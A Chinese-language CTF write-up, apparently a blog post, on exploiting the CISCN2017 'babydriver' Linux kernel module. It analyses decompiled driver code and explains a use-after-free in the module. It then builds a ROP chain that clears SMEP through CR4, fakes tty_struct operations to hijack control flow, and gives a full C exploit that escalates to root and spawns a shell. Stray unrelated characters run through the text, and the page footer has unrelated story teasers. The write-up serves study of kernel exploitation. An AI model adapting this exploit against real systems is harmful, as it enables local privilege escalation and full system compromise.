【Linux內核漏洞利用】CISCN2017-babydriver_過SMEP


參考:https://xz.aliyun.com/t/4529

一焙贷、代碼分析:

    //babyioctl:定義了 0x10001 的命令镜廉,可以釋放全局變量 babydev_struct 中的 device_buf贺喝,再根據用戶傳遞的 size 重新申請一塊內存,并設置 device_buf_len澎蛛。
    void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
      size_t v3; // rdx
      size_t v4; // rbx
      __int64 v5; // rdx
    
      _fentry__(filp, *(_QWORD *)&command);
      v4 = v3;
      if ( command == 0x10001 )
      {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n", 0x24000C0LL, v5);
      }
      else
      {
        printk("\x013defalut:arg is %ld\n", v3, v3);
      }
    }
    
    //babyopen: 申請一塊空間抚垄,大小為 0x40 字節(jié),地址存儲在全局變量 babydev_struct.device_buf 上谋逻,并更新 babydev_struct.device_buf_len
    int __fastcall babyopen(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
      babydev_struct.device_buf_len = 64LL;
      printk("device open\n", 0x24000C0LL, v2);
      return 0;
    }
    
    //babyread: 先檢查長度是否小于 babydev_struct.device_buf_len呆馁,然后把 babydev_struct.device_buf 中的數據拷貝到 buffer 中,buffer 和長度都是用戶傳遞的參數
    void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
    
      _fentry__(filp, buffer);
      if ( babydev_struct.device_buf )
      {
        if ( babydev_struct.device_buf_len > v4 )
          copy_to_user(buffer, babydev_struct.device_buf, v4);
      }
    }
    
    //babywrite: 類似 babyread毁兆,不同的是從 buffer 拷貝到全局變量中
    void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
    
      _fentry__(filp, buffer);
      if ( babydev_struct.device_buf )
      {
        if ( babydev_struct.device_buf_len > v4 )
          copy_from_user(babydev_struct.device_buf, buffer, v4);
      }
    }
    
    //babyrelease: 釋放空間浙滤,沒什么好說的
    int __fastcall babyrelease(inode *inode, file *filp)
    {
      __int64 v2; // rdx
    
      _fentry__(inode, filp);
      kfree(babydev_struct.device_buf);
      printk("device release\n", filp, v2);
      return 0;
    }

二、漏洞分析及利用(繞過SMEP)

1.如何繞過

原理:SMEP即內核執(zhí)行保護荧恍,當 CPU 處于 ring0 模式時瓷叫,執(zhí)行 用戶空間的代碼 會觸發(fā)頁錯誤屯吊;系統(tǒng)根據CR4寄存器的第20位判斷內核是否開啟SMEP送巡,為1時開啟,為0時關閉(第21位是SMAP位)盒卸。


SMEP_SMAP寄存器位.jpg

關閉SMEP方法:

mov cr4,0x6f0
pop rdi; ret
0x6f0
mov cr4,rdi; ret;

2.如何劫持控制流

利用到結構體tty_struct(本結構大小是0x2e0):

    struct tty_struct {
        int magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;        < -------------------------- 這里
        int index;
        /* Protects ldisc changes: Lock tty not pty */
        struct ld_semaphore ldisc_sem;
        struct tty_ldisc *ldisc;
        struct mutex atomic_write_lock;
        struct mutex legacy_mutex;
        struct mutex throttle_mutex;
        struct rw_semaphore termios_rwsem;
        struct mutex winsize_mutex;
        spinlock_t ctrl_lock;
        spinlock_t flow_lock;
        /* Termios values are protected by the termios rwsem */
        struct ktermios termios, termios_locked;
        struct termiox *termiox;    /* May be NULL for unsupported */
        char name[64];
        struct pid *pgrp;       /* Protected by ctrl lock */
        struct pid *session;
        unsigned long flags;
        int count;
        struct winsize winsize;     /* winsize_mutex */
        unsigned long stopped:1,    /* flow_lock */
                  flow_stopped:1,
                  unused:BITS_PER_LONG - 2;
        int hw_stopped;
        unsigned long ctrl_status:8,    /* ctrl_lock */
                  packet:1,
                  unused_ctrl:BITS_PER_LONG - 9;
        unsigned int receive_room;  /* Bytes free for queue */
        int flow_change;
        struct tty_struct *link;
        struct fasync_struct *fasync;
        wait_queue_head_t write_wait;
        wait_queue_head_t read_wait;
        struct work_struct hangup_work;
        void *disc_data;
        void *driver_data;
        spinlock_t files_lock;      /* protects tty_files list */
        struct list_head tty_files;
    #define N_TTY_BUF_SIZE 4096
        int closing;
        unsigned char *write_buf;
        int write_cnt;
        /* If the tty has a pending do_SAK, queue it here - akpm */
        struct work_struct SAK_work;
        struct tty_port *port;
    } __randomize_layout;

其中有一個很有用的存函數指針的結構體tty_operations:

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);     < -------------------------- 這里
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;

問題1:如何調用這個結構體骗爆?

......當open("/dev/ptmx", O_RDWR)時會創(chuàng)建一個tty_struct。

問題2:如何使用tty_operations中的函數指針蔽介?

......往上面所open的文件中write就會調用其中的int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);函數,依次類推虹蓄。

步驟:

......可以利用UAF構造大小和tty_struct一樣的空間(0x2e0)去存儲新建的tty_struct外臂,從而達到修改tty_struct的效果,并直接構造用戶態(tài)的偽tty_operations,修改其中的函數為rop,從而在調用函數時成功劫持程序流到我們所構造的rop中第练。

3.exp構造

(1)偽造tty_struct結構

先使tty_struct結構的const struct tty_operations *ops;指針指向偽造的fake_tty_operations呕寝。

    int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    
        unsigned long fake_tty_str[3] = {0};
        read(fd2,fake_tty_str,32);            //讀取前3個8字節(jié),保證和原先一樣
        fake_tty_str[3] = fake_tty_opera;     //第4個指針指向fake_tty_operations孽江,這個fake_tty_opera直接構造即可。
        //printf("fake_tty_opera:%x",fake_tty_opera);
        write(fd2,fake_tty_str,32);

(2)偽造fake_tty_opera結構这刷,劫持控制流
再偽造fake_tty_opera結構洞辣,通過第8個指針write劫持控制流定鸟,第8個指針放上我們的rop。問題是這時候rsp指向內核棧,只能執(zhí)行1個gadget麦向。
起初這樣構造fake_tty_opera:

    unsigned long fake_tty_opera[30] = {
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xffffffff8100ce6e,  // pop rax ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };

當執(zhí)行write函數時,會跳轉到0xffffffff8100ce6e處的gadget執(zhí)行沙郭,此時狀態(tài)如下:


執(zhí)行fake_write時狀態(tài).png

此時rax指向fake_tty_opera結構鲤嫡,rsp指向內核棧惕耕。我們可以在fake_tty_opera結構上布置rop鏈,利用唯一的gadget將rax賦值給rsp挤安。

可用如下gadget:

mov rsp,rax
xchg rsp,rax

椔缭洌回溯看看情況,當我們調用write的時候,會執(zhí)行到我們構造的fake_tty_opera中的write函數偏移為8組的位置:


執(zhí)行fake_write時狀態(tài)2.png

這里我們利用gadget:mov rsp,rax ; dec ebx ; ret。所以rop修改如下:

    unsigned long fake_tty_opera[30] = {
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };

(3)繼續(xù)構造rop鏈提權
以上fake_tty_opera中的rop已經更改了cr4寄存器差导,即關閉了smep保護试躏。由于fake_tty_opera空間太小,可跳轉到更大的空間繼續(xù)構造rop鏈设褐。接下來rop的任務是調用commit_creds(prepare_kernel_cred(0))函數來提權颠蕴,由于關閉了soep泣刹,可直接用ret2user方法。

    unsigned long rop[30] = {
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };

問題:不能將unsigned long rop[30]設置為unsigned long rop[]犀被,不然執(zhí)行完dec ebx后數組rop的內容會發(fā)生改變椅您。很奇怪?寡键?掀泳??西轩?开伏??

(4)exp如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    
    unsigned long user_cs,user_ss,user_rsp,user_flag;
    unsigned long prepare_kernel_cred = 0xffffffff810a1810;
    unsigned long commit_creds = 0xffffffff810a1420;
    
    void save_state(){
        __asm__(
                "mov user_cs,cs;"
                "mov user_ss,ss;"
                "mov user_rsp,rsp;"
                "pushf;"
                "pop user_flag;"
               );
        puts("[*] save the state success!");
    }
    
    void getshell(){
        system("/bin/sh");
    }
    
    void getroot(){
        char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    
    int main(){
    
        save_state();
    
        unsigned long rop[] = {                                                   //狀態(tài)轉化遭商,getshell
            getroot,
            0xffffffff81063694,  // swapgs ; pop rbp ; ret
            0,
            0xffffffff814e35ef,  // iretq; ret;
            getshell,
            user_cs,
            user_flag,
            user_rsp,
            user_ss
        };
    
        unsigned long fake_tty_opera[30] = {                                               //偽造的tty_opera
            0xffffffff810d238d,  // pop rdi ; ret
            0x6f0,
            0xffffffff81004d80,  // mov cr4, rdi ; pop rbp ; ret
            0,
            0xffffffff8100ce6e,  // pop rax ; ret
            rop,
            0xFFFFFFFF8181BFC5,
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
            0xFFFFFFFF8181BFC5,  // mov rsp,rax ; dec ebx ; ret
        };
    
        int fd1 = open("/dev/babydev",2);
        int fd2 = open("/dev/babydev",2);
    
        ioctl(fd1,0x10001,0x2e0);
    
        //printf("rop:%x",rop);
        close(fd1);
    
        int fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
    
        unsigned long fake_tty_str[3] = {0};
        read(fd2,fake_tty_str,32);
        fake_tty_str[3] = fake_tty_opera;                                   //修改tty_struct
        //printf("fake_tty_opera:%x",fake_tty_opera);
        write(fd2,fake_tty_str,32);
    
        write(fd3,"V1NKe",5);                                   //觸發(fā)rop
    
        return 0;
    }
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
  • 序言:七十年代末固灵,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子劫流,更是在濱河造成了極大的恐慌巫玻,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件祠汇,死亡現場離奇詭異仍秤,居然都是意外死亡,警方通過查閱死者的電腦和手機可很,發(fā)現死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進店門诗力,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人我抠,你說我怎么就攤上這事苇本。” “怎么了菜拓?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵瓣窄,是天一觀的道長。 經常有香客問我纳鼎,道長俺夕,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任贱鄙,我火速辦了婚禮劝贸,結果婚禮上,老公的妹妹穿的比我還像新娘逗宁。我一直安慰自己映九,他們只是感情好,可當我...
    茶點故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布疙剑。 她就那樣靜靜地躺著氯迂,像睡著了一般践叠。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上嚼蚀,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天禁灼,我揣著相機與錄音,去河邊找鬼轿曙。 笑死弄捕,一個胖子當著我的面吹牛,可吹牛的內容都是我干的导帝。 我是一名探鬼主播守谓,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼您单!你這毒婦竟也來了斋荞?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤虐秦,失蹤者是張志新(化名)和其女友劉穎平酿,沒想到半個月后,有當地人在樹林里發(fā)現了一具尸體悦陋,經...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡蜈彼,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現自己被綠了俺驶。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片幸逆。...
    茶點故事閱讀 39,690評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡罐氨,死狀恐怖漫雕,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情澜建,我是刑警寧澤送矩,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布蚕甥,位于F島的核電站哪替,受9級特大地震影響栋荸,放射性物質發(fā)生泄漏。R本人自食惡果不足惜凭舶,卻給世界環(huán)境...
    茶點故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一晌块、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧帅霜,春花似錦匆背、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽括享。三九已至,卻和暖如春珍促,著一層夾襖步出監(jiān)牢的瞬間铃辖,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工猪叙, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留娇斩,地道東北人。 一個月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓穴翩,卻偏偏與公主長得像犬第,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子芒帕,可洞房花燭夜當晚...
    茶點故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內容